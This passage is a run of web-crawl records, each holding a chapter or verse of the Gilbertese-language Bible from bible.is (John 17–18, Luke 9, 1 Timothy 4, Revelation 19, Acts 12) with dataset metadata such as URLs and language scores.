tei Iuta, are e kamwanea Iesu. 6Ao ngke E kaangai nakoia, Boni Ngaia Ngai, ao a keerikaaki ao a bwaka i aontano. 7E a manga titirakiniia riki ao E taku, Antai ae kam ukoukoria? Ao a kaeka ni kaangai, Iesu are te I-Natareta. 8E kaekaia Iesu ao E taku, I a tia n tuangkami bwa boni Ngaia Ngai; ma ngaia aei, ngkana kam ukoukorai, ao kanakoia uaakai. 9E atonga aei bwa e aonga ni kakoroaki bukin are E a kaman atongnga ngke E kaangai, Tamau, Akea temanna ae I kabuaa mai buakoia ake Ko anganai. 10Iai ana kabaang Betero irouna, ma ngaia are e buutia, ao e orea iai ana toro mataniwiia ibonga, ni korea taningana are mai ataina. Mariko aran te toro arei. 11E taku ngkanne Iesu nakoni Betero, Karina am kabaang i nanoni nnena; e kangaa, N nang aki mooi ni mwangkon te rawaawata ae E a tia n anganai Tamau? 12E tauuaki ngkanne Iesu irouia tautia ma aia mataniwi, ao irouia bureitimanin te umwantabu, ao a kabaea. 13A kairia moa nakon Annati; ngkai ngaia tamani buuni Kaiaba, are aia mataniwi ibonga n te ririki arei. 14Boni Kaiaba are e anga ana taeka n ibuobuoki nakoia I-Iutaia, ngke e taku bwa e riai ni mate temanna ibukiia kaain aon te aba. 15Ao e ri mwiin Iesu Timon Betero ma te reirei temanna. E kinaaki te reirei arei iroun aia mataniwi ibonga, ma ngaia are e rin n ri mwiin Iesu n ana auti aia mataniwi ibonga, ao e nako ni mena n te tabo are e aki bono aona; 16ma Betero, e tei i tinaniku i rarikin te mataroa. Ma ngaia are e oti nako te reirei are temanna, are e kinaaki iroun aia mataniwi ibonga, ao e taetae nakon neiere tantani i rarikin te mataroa, ao i mwiina e kaira Betero n rin ma ngaia. 17E taku ngkanne neiere tantani i rarikin te mataroa nakoni Betero, Tiaki naba ngkoe temanna i buakoia ana reirei te aomata arei? Ao ngaia e taku, Tiaki ngai. 18E kamariri, ma ngaia are a kamwaakaa te ai n aiana ae te marara tooro ma aia mataniwi I-Iutaia, ao a aangiia iai; raoia naba Betero n teitei, ao e aangnga naba. 19E titirakinaki ngkanne Iesu iroun aia mataniwi ibonga i bukiia ana reirei, ao ibukin ana taeka n reirei. 20E kaeka Iesu ao E taku, I a tia n taetae n aki karabaai nakon te aba; I aki toki n reirei ni mwaneabaia nako I-Iutaia ao i nanon te umwantabu, ao a bane n rooroko I-Iutaia; ao I aki atonga te bwai teuana ni karabaa. 21E aera bwa kam na titirakinai? Kam na titirakiniia te koraki ake a tia n ongoraa irou, bwa tera ae I taekinna nakoia; a ataa ae I taekinna. 22Ao ngke E atonga aei Iesu, ao e a oreia naba temanna irouia bureitiman ni baina, ao e taku, Ngaia anne arom ni kaekaa aia mataniwi ibonga? 23E kaeka Iesu ao E taku, Ngkana e bure au taeka, ao kaotia bwa tera burena; ma ngkana akea buren au taeka, ao bukin tera ngkai ko oreai? 24E a kanakoaki ngkanne Iesu iroun Annati nakoni Kaiaba are aia mataniwi ibonga, ao E tiku naba ma arona are E kabaeaki iai. 25E tabe n teitei Timon Betero n aangnga. A taku ngkanne nakoina tabeman ake a mena i rarikina, Tiaki boni ngkoe naba ana reirei temanna? E rawa Betero n taekana aei, ma ngaia are e taku, Tiaki ngai. 26Ao temanna irouia ana toro aia mataniwi ibonga, ae ana buu teuare e korea taningana Betero ni kabwakaa, e titirakina Betero ao e kaangai, Tiaki I nooriko ma Ngaia n te nne n aroka? 27E a manga rawa naba ngkanne n taekana aei Betero; ao e a tangi naba te moa. 28Ngke e a tibwa ingabong, ao a kaira Iesu man ana auti Kaiaba nakon te Beretoriam. A aki rin aia mataniwi I-Iutaia bwa a rawa n aki itiaki n aron katein te Aro n I-Iutaia, bwa a kan amwarake n te Toa are te Riao. 29Ma ngaia are e oti nako nako ia Birato, ao e tiirakiniia ni kaangai, Tera ae kam bukina te aomata aei iai? 30A kaeka ao a taku nakoina, Ngke arona bwa akea te mwakuri ae e buaakaka ae E karaoia, ao ti aki konaa n anganiko. 31E taku ngkanne Birato nakoia, Kairia nako ngkami, ao motika taekana n ai aron ami tua. A taku ngkanne I-Iutaia nakoina, E aki riai n taekan ara tua bwa ti na kamatea te aomata. 32E riki aei bwa e na kakoroaki bukin ana taeka Iesu are e atongnga ibukin aroni matena. 33E a manga rin ngkanne Birato n te Beretoriam, ao e wetea Iesu, ao e taku nakoina, Aia Uea I-Iutaia Ngkoe? 34E kaeka Iesu ao E taku, Bon am taeka taeka akanne, ke taekau mai irouia aomata ae a tuangko? 35E kaeka Birato ao e taku, Te I-Iutaia ngai? Bon oin am reti n aomata ma ibonga ake mataniwi aika a anga Ngkoe nakoiu; tera ae Ko a tia ni karaoia? 36E kaeka Iesu ao E taku, Tiaki mai aon te aba ueau; ngke arona bwa mai aon te aba ueau, ao a na buaka au aomata, bwa e aonga n akea ae e na tauuai nakoia I-Iutaia; ma tiaki mai aon te aba ueau. 37E taku ngkanne Birato nakoina, Bon te uea Ngkoe ngkanne? E kaeka Iesu ao E taku, Ko taku bwa te uea Ngai I bungiaki ibukin ae ti te kaotiota te koaua, ao aei naba bukin ae I roko iai i aon te aba. Ane e bwaabwaina te koaua, ao e ongo bwanaaau. 38E taku Birato nakoina, Ao tera te koaua? Ngke e tia n atonga aei Birato, ao e a manga oti nako nakoia I-Iutaia, ao e taku nakoia, Akea ana bure ae I kunea. 39Ma n aron te katei ae kam a tataneiai iai, ao I aki toki ni kainaomataa i bukimi te bure temanna ni katoaa tain te Toa are te Riao. Kam tangirai bwa N na kainaomataa i bukimi aia Uea I-Iutaia? 40A tatakaarua ngkanne nakoina ni kaangai, Tiaki Teuaei, ma Bwarabwa. Bwarabwa bon te tia kamwarua.\nIOANE 18","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/John\/18","date":"2014-03-11T19:34:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011250185\/warc\/CC-MAIN-20140305092050-00096-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1165,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.403,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 TIMOTEO 4:33a tuangiia aomata bwa a na tai iein, ao a na tai kang amwarake nako, aika E kariki te Atua bwa a na kakanaki ma te katituaraoi irouia aika a onimaki ma n ataa te koaua. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/4\/3","date":"2014-03-14T04:39:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678686979\/warc\/CC-MAIN-20140313024446-00019-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999839067,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999839067459106}","num_words":52,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E weteia uaake tengauni ma uoman Iesu ni bootiia, ao E anganiia te mwaaka ao te konaa ni kanakoia taimonio iai, ao ni katoki aoraki naba iai; 2ao E kanakoia bwa a na taetaekina uean te Atua ao a na kamaiuiia aoraki. 3Ao E taku nakoia, Akea te bwai ae kam na uotia ni mwanangami: akea te oko, akea nnen ami bwai, akea te kariki, ao akea te mwane; ao kam na aki kauoua ami kabaraaki. 4Ao te auti ane kam rin iai, kam na maeka iai, ao kam na manga nako naba maiai. 5Ao n te tabo are kam aki butimwaaeaki iai irouia kaaina, ao ngkana kam kiitana te kaawa anne, ao taei bubun aontano mai waemi bwa te bwai ni kakoaua nakoia bwa a aki mutiakiningkami. 6Ao a nako ana reirei ni kawari kaawa nako n tataekina te euangkerio, ao a kakamaiu n taabo ake a roko iai. 7Ao Erote, are e tautaeka i Kariraia, e ongo taekani bwaai ni kabane ake a karaoaki, ao e mino ana iango, ibukina bwa a taku tabemwaang bwa e a manga maiu Ioane mai buakoia maate; 8ao a taku temwaangina bwa e kaoti Eria, ao temwaangina, bwa e a maiu te buraabeti nikawai temanna. 9E iango Erote ao e taku, I a tia ni korea roroan Ioane; ma ai antai teuaei, ae I ongo taekana aikai? Ao e kani karekea ana tai ni kaaitibo ma Ngaia. 10Ngke a oki taan tuatua, ao a tuanga Iesu taekani baike a a tia ni karaoi. Ao E kairiia ni kaokoroia nakon te kaawa are arana Betetaita. 11Ngke a ataia aomata, ao a ri mwiina; ao Ngaia, E butimwaiia ao E taekina nakoia taekan uean te Atua, ao E kamaiuiia aomata ake a kainnanoa te kani kamaiuaki. 12E a kaani bong; a roko uaake tengauni ma uoman ao a taku nakoina, Kanakoia aomata bwa a na nako ni kaawa ma taabo aika a maekanaki i marenaua aika i rarikira bwa a na motirawa ao a na kareke kanaia iai; bwa ae ti a mena ikai n te tabo ae e rereua. 13Ao Ngaia, E taku nakoia, Kam na anganiia kanaia bwa a na amwarake. A kaeka ao a taku, Ae iai iroura e aki raka i aon ae ti nimaai te kariki ao uoman te ika—ma e na tau ti ngkana ti nako ni kaboo amwarake i bukiia aomata aikai. 14Bwa mwaitiia mwaane tao nimaua te nga. Ao E taku nakoia ana reirei, Katekatekaia ni kurubu aika tao kakanimangauni kaain teuana. 15Ao a karaoa tuangaia, ao a katekatekaia ni kabaneia. 16Ao E anai kariki ake nimaai ao iika ake uoman, ao E tara rake nako karawa, ao E kaaitaua te Atua ao E urui, ao E anganiia ana reirei bwa a na kaaki i mataia aomata. 17A bane n amwarake ao a ngae. Ao ana reirei Iesu, a anai tengauni ma uakora bwaene aika kakanoa n nikiran amwarake ake a tiku. 18Ti Iesu n tataro n te tai teuana ngke a roko irouna ana reirei; ao E titirakiniia ni kaangai, A taku aomata bwa antai Ngai? 19Ao a kaeka ni kaangai, Ioane are te tia Bwaabetiito; ma a taku temwaangina bwa Eria; ao temwaangina, bwa temanna ae e a manga maiu mai buakoia buraabeti nikawai. 20Ao E taku nakoia, Ao ngkami, kam taku bwa antai Ngai? Ao e kaeka Betero ni kaangai, Ana Kristo te Atua Ngkoe. 21Ao E tuangiia ni kamatoaa bwanaana nakoia bwa akea temanna ae a na kaongoa taekan te baerei. 22Ao E a manga taku riki Iesu nakoia, E riai Natin te Aomata bwa E na karawaawataaki ao bwa E na ribaaki irouia unimwaane, ao irouia ibonga ake a kakannato, ma taani koroboki, ao bwa E na kamateaki, ao E na manga maiu n te katenibong. 23Ao E taku nakoia ni kabaneia, Ane e kan ri mwiiu, ao ke e kaakeaa i bon irouna, ao ke tabetabeka ana kaibangaki n te bong ae koraki, ao ke e iriirai. 24Bwa ane e kani kaawakina maiuna ao e na kabuaa; ao ane e kabuaa maiuna i bukiu, ao e na kaawakinna. 25Bwa tera te raka ae e na karekea te aomata ngkana e bwaina te aonnaba ae e bwanin ao ngaia e kabuaa maiuna ke e karawaawataaki? 26Bwa ane e maamaa irou ao n au taeka, ao E na maamaa naba irouna Natin te Aomata ngkana E roko ma mimitongina ao mimitongin te Tama ma anera ake a raoiroi. 27Ma I tuangkami ma te koaua, bwa iai tabemwaang aika tei a ikai aika a na aki mate i mwaain ae a noora uean te Atua. 28Tao wanibong i mwiin ana taeka Iesu akekei, ao E kaira Betero ma Ioane ma Iakobo, ao E ararake nako aon te maunga bwa E na tataro iai. 29Ngke E tabe n tataro, ao E onikaki aron taraan ubuna, ao e riki ni mainaina n raneanea kunnikaina. 30Ao nooria, a taetae ma Ngaia uoman aomata, bwa Mote ao Eria, 31ake a kaoti ni mimitong; ao a taekina matena, are E na kakoroa bukina i Ierutarem. 32Ao a matuu nako Betero ma raona; ma ngke a uti, ao a noora mimitongin Iesu ma aomata ake uoman ake a tei ma Ngaia. 33Ao ngke a nako mai irouna, ao e taku Betero nakon Iesu, Te Tia Reirei, e raoiroi bwa ae ti a mena ikai; ti a katei umwanrianna aika tenua, bwa teuana i bukim, ao teuana ibukini Mote, ao teuana ibukin Eria—ma e aki ataa nanon te baere e taekinna. 34Ngke e tabe n atongi baikai, ao e roko te nang ao e rabuniia nuuna; ao a maaku ngke a mena i buakon te nang. 35Ao e roko te bwanaa man te nang ae e kaangai, Aio Natiu, ae e rineaki irou; kam na ongo irouna. 36Ao ngke e toki te bwanaa, ao E nooraki Iesu bwa ti Ngaia. A aki karongoaa ana reirei ake raona, ao akea te bwai teuana ae a taekinna ibukin te baere a tia n nooria. 37N te bong are i mwiina, ngke a a tia n ruo man te maunga, ao E kaaitibo Iesu ma aomata aika bati. 38Ao nooria, e takaarua te aomata temanna mai buakoia aomata aika bati ni kaangai: Te Tia Reirei, I butiiko bwa Ko na nanoanga natiu te mwaane, bwa bon ti ngaia au ataei; 39ao nooria, e taatauaki iroun te taamnei n te tai teuana ma teuana; ao kinaakin aei, e karinaa te teinimwaane ni katakaaruaaea, ao e karaoa ae e na kaatikitiki iai ni karokoa ae e kabungibaware, ao e a tibwa kiitanna ngkana e a bon rawata irouna. 40I butiia am reirei bwa a na kanakoa, ma a aki konaa. 41E kaeka Iesu ni kaangai, Te roro ae akea ana onimaki, ae e bure arona, maan ra meemenau iroumi ao taotaonakin nanou nakoimi? Kaira mai natim. 42Ngke e tabe n roko te teinimwaane, ao te taimonio, e boaketana ao e kaatikitikia. Ao Iesu, E takua te anti are e kamwaraa, ao E kamaiua te teinimwaane, ao E anga nakon tamana. 43Ao a bane ni miimii ni ma'kan te Atua. Ao ngke a bane ni miimii aomata ni bwaai ni kabane ake E karaoi Iesu, ao E taku nakoia ana reirei, 44Kam na kakauongo raoi nakon taeka aikai: ane E nang kamwaneaki Natin te aomata nako nanoni baiia aomata. 45Ma a aki atai nanon taeka akekei, ao a karabaaki mai irouia, bwa a aonga n aki ataia; ao a maaku n titirakinna ibukin taeka akekei. 46Ao e riki te kauntaeka irouia bwa antai ae e kakannato riki i buakoia. 47Ma ngke E atai nanoia Iesu, ao E anaa te teei ao E kateia i rarikina, 48ao E taku nakoia, Ane e mwanea te teei aei n akoia i nanon arau, ao e mwaneai n aakoai naba; ao ane e mwaneai n aakoai, ao e mwanea Teuare e kanakomaiai; bwa ane e mangori riki i buakomi, ao ngaia ane e kakannato riki. 49Ao Ioane, e kaeka ni kaangai, Te Tia Reirei, ti noora te aomata ae e kanakoia taimonio n aram, ao ti katokia ibukina bwa tiaki raora. 50Ma E taku Iesu nakoina, Tai katokia; bwa te aomata ae e aki rawa nakoimi ao bon raomi. 51Ngke e a kaan roko te tai are E nang uotaki rake iai Iesu nako karawa ao E motika nanona bwa E na nako Ierutarem. 52Ao E kanakoia ana taan ua-rongorongo n ri moana; ao a nako, ao a rin ni kaawan Tamaria teuana, bwa a na katauraoi bwaai ibukina. 53Ma a rawa kaain te kaawa ni kani mwaneia n akoia ibukin ataakina irouia bwa ae i aoni kawaina Iesu nako Ierutarem. 54Ao ana reirei, are Iakobo ma Ioane, ngke a ataa te baerei, ao a taku, Te Uea, Ko tangiriira bwa ti na kabwakaa te ai mai karawa bwa e na kamaunaia? 55Ma Iesu, E rairaki ao E takuiia. 56Ao a nako n te kaawa teuana. 57Ngke a tabe ni mwananga, ao e taku te aomata temanna nakon Iesu, N na iriiriko nakon te tabo are Ko na nako iai. 58E taku Iesu nakoina, Iai nneia ni maeka kameaanti, ao ngaoia manin aan-nang, ma akea nnen Natin te aomata ae E na kawenea iai atuna. 59Ao E taku nakon temanna, Ko na irirai, Ao ngaia, e kaangai, Te Uea, kariaiai bwa N na nako moa n tauna tamau. 60Ma E taku nakoina, Katikuia maate bwa a na tauniia aia mate; ma ngkoe, ko na nako n tataekina uean te Atua. 61E a manga taku temanna, N na iriiriko, te Uea; ma kairiaiai moa bwa N na nako ni kaboo ma kaaini mwengau. 62Ma E taku Iesu nakoina, Akea ane e katokaa baina i aon te bwai ni kamarau tano n tauua ao e tanrikaaki, ae e tau ibukin uean te Atua.\nRUKA 9","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/9","date":"2014-03-08T07:52:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999653980\/warc\/CC-MAIN-20140305060733-00000-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1623,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E tia Iesu n atongi baikai, ao E tara rake nako karawa, ao E taku, Tamau, e a roko te aoa; kaota mimitongin te Nati, bwa E aonga ni kaota mimitongim te Nati. 2Bwa Ko a tia n anganna te mwaaka i aoia aomata ni kabaneia, bwa E na anga te maiu are e aki toki nakoia ni kabane ake Ko anganna. 3Ao aio aron reken te maiu are e aki toki: bon te ataiko bwa ti Ngkoe ae te Atua ni koaua, ao te ataa Iesu Kristo, ae Ko kanakomaia. 4I a tia n neboiko i aon te aba, ni katiaan te mwakuri are Ko anganai bwa N na karaoia; 5ao ngkai, Tamau, Ko na kamimitongai ike Ko mena iai, n te mimitong are mimitongiu ma Ngkoe, ngke e tuai ni karikaki aonnaba. 6I a tia ni kaota aram nakoia aomata aika Ko anganai mai buakon te aba; bon am bwai ngaiia, ao Ko anganai, ao a ongeaaba nakon am taeka. 7A ataia ngkai bwa bwaai ni kabane aika Ko a tia n anganai, boni mai iroum; 8bwa I a tia n tuangiia taeka ni kabane ake Ko tuangai, ao a kaaki i nanoia, ao a ataia bwa ngaia e koaua ae I nako mai mai iroum; ao a kakoauaa ae Ko kanakomaiai. 9I tataro i bukiia; I aki tataro ibukin te aba, ma I tataro i bukiia aika Ko anganai, bwa am bwai ngaiia. 10Am bwai au bwai ni bane, ao au bwai am bwai; ao I neboaki irouia. 11Ao ngkai, N nangi nakoim; N nang aki tiku ni maan i aon te aba, ma a na tiku ngaiia i aon te aba. Tamau ae Ko Raoiroi, kaawakiniia ni mwaakan aram, ae te ara are Ko anganai, bwa a aonga n riki n teuana, n ai arora. 12Ngke I mena i rarikiia, ao I kaawakiniia ni mwaakan aram, ae te ara are Ko anganai. I tantani i rarikiia, ao akea temanna i buakoia ae e bua, ma ti natin te mate, bwa e na kakoauaaki taekan te Baibara. 13Ma N nangi nakoim ngkai, ao I atongi baikai i aon te aba bwa e aonga n reke irouia kororaoini kukureiu i nanoia. 14I a tia n taekin am taeka nakoia, ao e ribaiia te aba, bwa tiaki ana bwai te aba ngaiia; n ai arou ngkai tiaki ana bwai te aba Ngai. 15I aki tataro bwa Ko na uotiia nako mai aon te aba, ma I tataro bwa Ko na kaawakinia mai iroun teuare e buaakaka. 16Tiaki ana bwai te aba ngaiia, n ai arou ngkai tiaki ana bwai te aba Ngai. 17Ko na tabuiia n am taeka aika a koaua; te koaua am taeka. 18Bwa arom ngke Ko kanakomaiai nako aon te aba, ao ai arou naba, I a manga kanakoia nako aon te aba. 19Ao I tabuai i bukiia, bwa a aonga n tabuaki n am taeka aika a koaua. 20I aki tataro i bukiia ti aikai, ma I tataro naba ibukiia ake a onimakinai n aia taeka, 21bwa a na bane n riki n teuana; n ai arora, ngkai Ko mena i nanou, Tamau, ao Ngai i nanom: bwa a na mena naba i nanora, bwa e aonga ni kakoauaa te aba bwa Ko kanakomaiai. 22I anganiia te neboaki are Ko anganai, bwa a aonga n riki n teuana, n ai arora ngkai teuana Ngaira; 23Ngai i nanoia, ao Ngkoe i nanou, bwa a aonga ni katiteuanaaki raoi, ao e na ataia te aba bwa Ko kanakomaiai ao Ko tangiriia, n ai arom ngkai Ko tangirai. 24Tamau, I tangiriia ake Ko anganai bwa a na mena irou ike I mena iai, bwa a na noora neboakiu are Ko anganai ngke Ko tangirai i mwaain rikin aonnaba. 25Tamau, ae am bwai te eti, e aki ataiko te aba, ma I ataiko; ao a ataai uaakai ae Ko kanakomaiai. 26I a tia ni kaota aram nakoia, ao N na bon aki toki ni kaotiotia nakoia, bwa a aonga n tangiria aomata n ai aron am tangira nakoiu, ao bwa I aonga n nim ma ngaiia.\nIOANE 17","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/John\/17","date":"2014-03-07T14:00:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999642530\/warc\/CC-MAIN-20140305060722-00095-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":679,"character_repetition_ratio":0.076,"word_repetition_ratio":0.036,"special_characters_ratio":0.255,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwiini baikai ao I ongo te bae kaanga te bwanaa ae e korakora ae bwanaaia kaain te bootaki ae e abwaabwaki i karawa, ae e kaangai, Areruia! Ana bwai Atuara te kamaiu, ma te neboaki, ma te mwaaka: 2bwa a koaua ana moti ao a eti. E a tia ni motika taekan te kabekaau are e rangi n atoatongaki taekana, are te kabekaau are e kamwaraaea te aba n ana wene ni bure; ao E a tia ni karekea kaina ibukina ngke e kamateia ana toro. 3A a manga kaangai riki, Areruia! E aeto rake bubuni buen neierei n aki tootoki. 4Ao a katorobubua ni bobaraaki unimwaane ake angauni ma aman ma baike a maiu ake aman, ao a taromauriia te Atua are e tekateka i aon te kaintokanuea, ao a kaangai, Amene! Areruia! 5Ao e nako te bwanaa man te kaintokanuea, ae e kaangai, Kam na karaoiroa Atuara, ngkami aika ana toro ni kabaneingkami, ma ngkami aika kam maakua, aika kam mangori ma aika kam kakannato. 6Ao I ongo te bae kaanga bwanaaia kaain te bootaki ae e abwaabwaki, ae e kaanga karongoaani bwaron naao aika a bati, ao kaanga rebwerebweni baa aika a korakora, ao a kaangai, Areruia! Bwa E uea te Uea ae Atuara ae Moan te Mwaaka. 7Ti na kimwaareirei ma ni kakatonga, ao ti na neboia. Bwa e a roko ana tai ni mare te Tiibuteteei, ao e a tia ni katauraoia neiere E na mareaki ma ngaia. 8E a tia n anganaki neierei kunnikaina ae te riinen ae e raoiroi ae e raneanea ae e itiaki bwa e na bwainna. (Te riinen ae e raoiroi, bon aroia ake a itiaki ni kaakaraoa nanon te Atua ni maiuia). 9Ao e taku te anera nakoiu, Ko na korea ae e kaangai, A a kabwaia akana kaoaki nakon ana amwarake ni mare te Tiibuteteei. Ao e kaangai naba, Taeka aikai bon taeka aika a koaua aika ana taeka te Atua. 10Ao I katorobubua ni bobaraaki i rarikini waena bwa N na taromauriia. Ao e taku nakoiu, Tarataraiko bwa ko na aki taromauriai; bon raom n toro ngai, ao raoia naba n toro tarim ake a teimatoa n taua te koaua are E kaotiotia Iesu. Ko na taromauriia te Atua; bwa te koaua are E kaotiotia Iesu boni ngaia ae e angania ana aomata te Atua te konaa n taetae ni buraabeti. 11Ao I noora karawa bwa e uki; ao nooria, te aoti ae e mainaina! Ao aran teuare e toka i aona boni Kakaonimaki ao Koaua; E aki riibuaka n ana moti, ao E aki naba ngkana E buaka. 12Ai aron uran te ai matana, ao a bati baunuea i aon atuna; ao iai te ara ae e koreaki i aon rabwatana, ae akea temanna ae e ataia bwa ti Ngaia. 13Ao E kunnikaiaki n te kunnikai ae e kateboaki n te raraa; ao e atongaki arana bwa ana Taeka te Atua. 14Ao a iria n ri mwiina taanga ni buaka ake i karawa i aoia aoti aika a mainaina, ao a kunnikaiaki n te riinen ae e raoiroi ae e mainaina ae e itiaki. 15Ao e oti nako mai wiina te kabaang ae e kakang, bwa E na oreia bootanaomata iai, ao E na tauu taekaia ni kairiia ma te matoa; ao E na toutoua aon nnen taonani kureebe are ana bwai korakoran unin te Atua are Moan te Mwaaka. 16Ao iai arana ae e koreaki i aon ana kunnikai ao i aon rangana, ae e kaangai, 17Ao I noora te anera temanna bwa e tei n taai; ao e taetae n te bwanaa ae e korakora, ao e kaangai nakoia maan ni kabane aika a kibakiba i aan-nang, Kam na bane mai, ni bootaki ibukin ana amwarake ae e abwaabwaki te Atua; 18bwa kam na kang irikoia ueea ma mataniwi n taanga ni buaka, ma tautia, ma irikoia aoti ma taan toka i aoia, ma aomata ni kabaneia, aika a inaomata ma tooro, ma aika a mangori ma aika a kakannato. 19Ao I noora te man are e tiritiri, ma ueea i aonnaba ma aia taanga ni buaka, bwa a ikotaki bwa a na buakana Teuare e toka i aon te aoti, ma ana taanga ni buaka. 20Ao e tauuaki te man are e tiritiri, ma te buraabeti ni kewe are e karaoi kanikina i matana, ake e mwaamwanaiia iai te koraki ake a kanikinaaeaki n ana kanikina te man are e tiritiri, ma te koraki naba ake a taromauriia te bouananti are e karaoaki bwa katootoongana. E teweaki nako te man are e tiritiri ma te buraabeti ni kewe, ngke e maiu, i nanon te nama are te ai are e ura n te burimton. 21Ao ake tabemwaang ake nikira a kamateaki n ana kabaang Teuare e toka i aon te aoti, are te kabaang are e oti nako mai wina; ao a bane ni ngae maan ake a amwarake n irikoia.\nTE KAOTIOTI 19","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/19","date":"2014-03-12T07:22:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394021453828\/warc\/CC-MAIN-20140305121053-00039-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":821,"character_repetition_ratio":0.054,"word_repetition_ratio":0.002,"special_characters_ratio":0.234,"stopwords_ratio":0.508,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ni boong naba akekei, ao e bwainikiriniia kaain te ekaretia tabemwaang Erote are te uea. 2E kamateaki n te kabaang Iakobo are tarin Ioane n ana baaire Erote. 3Ngke e nooriia I-Iutaia Erote bwa a kimwaareirei iai, ao e a manga tauuaki Betero i aan naba ana baire. A riki baikai ni bongin te Berena are e aki Karikaki. 4Ngke e a tia n tauuaki Betero, ao e karinaki i nanon te karabuuti, ao a anganaki tautia aika koraki aika kaka aman aomataia nako, bwa a na kaawakinna. E kaantaningaia Erote bwa e na baairea taekani Betero i mataia aomata i mwiin te Toa are te Riao. 5Ma ngaia are e kaawakinaki Betero i nanon te karabuuti; ao a kakorakoraia kaain te ekaretia n tataro nakon te Atua ibukina. 6N te bong are e nang kaotinakoaki iai Betero iroun Erote, ao e matuuBetero n tairikin te bong are i mwaaina i marenaia uoman tautia, ni kabaeaki n uaai te taurekereke; ao iai tautia ake a tantani i rarikini mataroan te kawai n rin nakon te karabuuti. 7Ao akea bwa e roko ana anera te Atua, ao e oota te oota i nanon te karabuuti; ao e orea rarikini Betero te anera ni kautia, ao e kaangai, Kawaekoako, tei rake. A bwaka taurekereke mai baini Betero n te tai naba arei. 8Ao e taku te anera nakoina, Kabaea raoi kabaean nuukam, ao karin am kau i waem; ao ngaia e karaoi. Ao e a manga tuangnga riki ni kaangai, Katokaa rabunan aom i aom, ao irai. 9Ao e oti nako Betero n iria, ma e aki koaua raoi n te baere e karaoaki iroun te anera, bwa e taku i nanona bwa ti te bo ma e mi. 10A i rarikin te koraki n tautia ake te moani koraki ma te kaua koraki, ao a roko n te mataroa are te biti, are mataroan te kawai n rin n te kaawa. E uki i bon irouna te mataroa arei i bukiia, ao a oti nako. A toua te kawai teaina, ao e a kiitanna naba te anera. 11Ngke e a oki ana iango Betero, ao e taku, I a ataia ngkai bwa E kanakomaia ana anera te Uea, ao E kamaiuai mai nanoni bain Erote, ao mani bwaai ni kabane ake a kaantaningai I-Iutaia bwa a na karaoi. 12Ngke e a ataa te baere e rikinakoina, ao e nako n ana auti Nei Maria are tinan Ioane, are arana teuana Mareko. A bootaki iai n tataro aomata aika a bati. 13Ao ngke e karebwerebwea mataroan te kaman, ao e nako te ateiaine, ae arana Rote, ae te tia mwakuri ikekei, ni kakauongo. 14Ngke e kinaa bwa bwanaan i Betero, ao e aki kauka te mataroa ibukini kimwaareireina, ma e biri nako moa nako nanon te auti n tuangiia bwa Betero are e tei i rarikin te mataroa. 15A takunakoina, Ko rangirang! Ma e kakorakoraa ni kaotia bwa bon te koaua ana taeka. Ao ngaiia a kaangai, Bon anerana. 16Ma e aki toki ana karebwerebwe Betero; ao ngke a kaukia, ao a miimii ngke a nooria. 17Ao ngaia e taotaona bainanakoia, bwa a na aki karongoaa, ao e tuangiia arona ngke E kairia nako te Uea mai nanon te karabuuti. Ao e taku, Kam na tuanga Iakobo ma taari nako taekani baikai. 18Ngke e a ingabong, ao e riki te mangao ae e abwaabwaki irouia tautia ibukini Betero, bwa tera ae e rikinakoina. 19E kanakoa ana taeka Erote bwa e na kakaaeaki Betero; ma ngke e aki reke, ao e kanaanako bwa a na titirakinaki tautia, ao e tua bwa a na kairaki nako ni kamateaki. E wairio ngkanne Erote mai Iutaia nako Kaitareia, ao e tiku iai. 20E rangi n un Erote irouia I-Turo ma I-Titon; ma ngaia are a bootiia aia koraki ao a nako ni kawara Erote. A anaa moa nanoni Berateto nakon aia iango; e mena irouna mwiokon ana tabo ni maeka te uea. Ao a nako 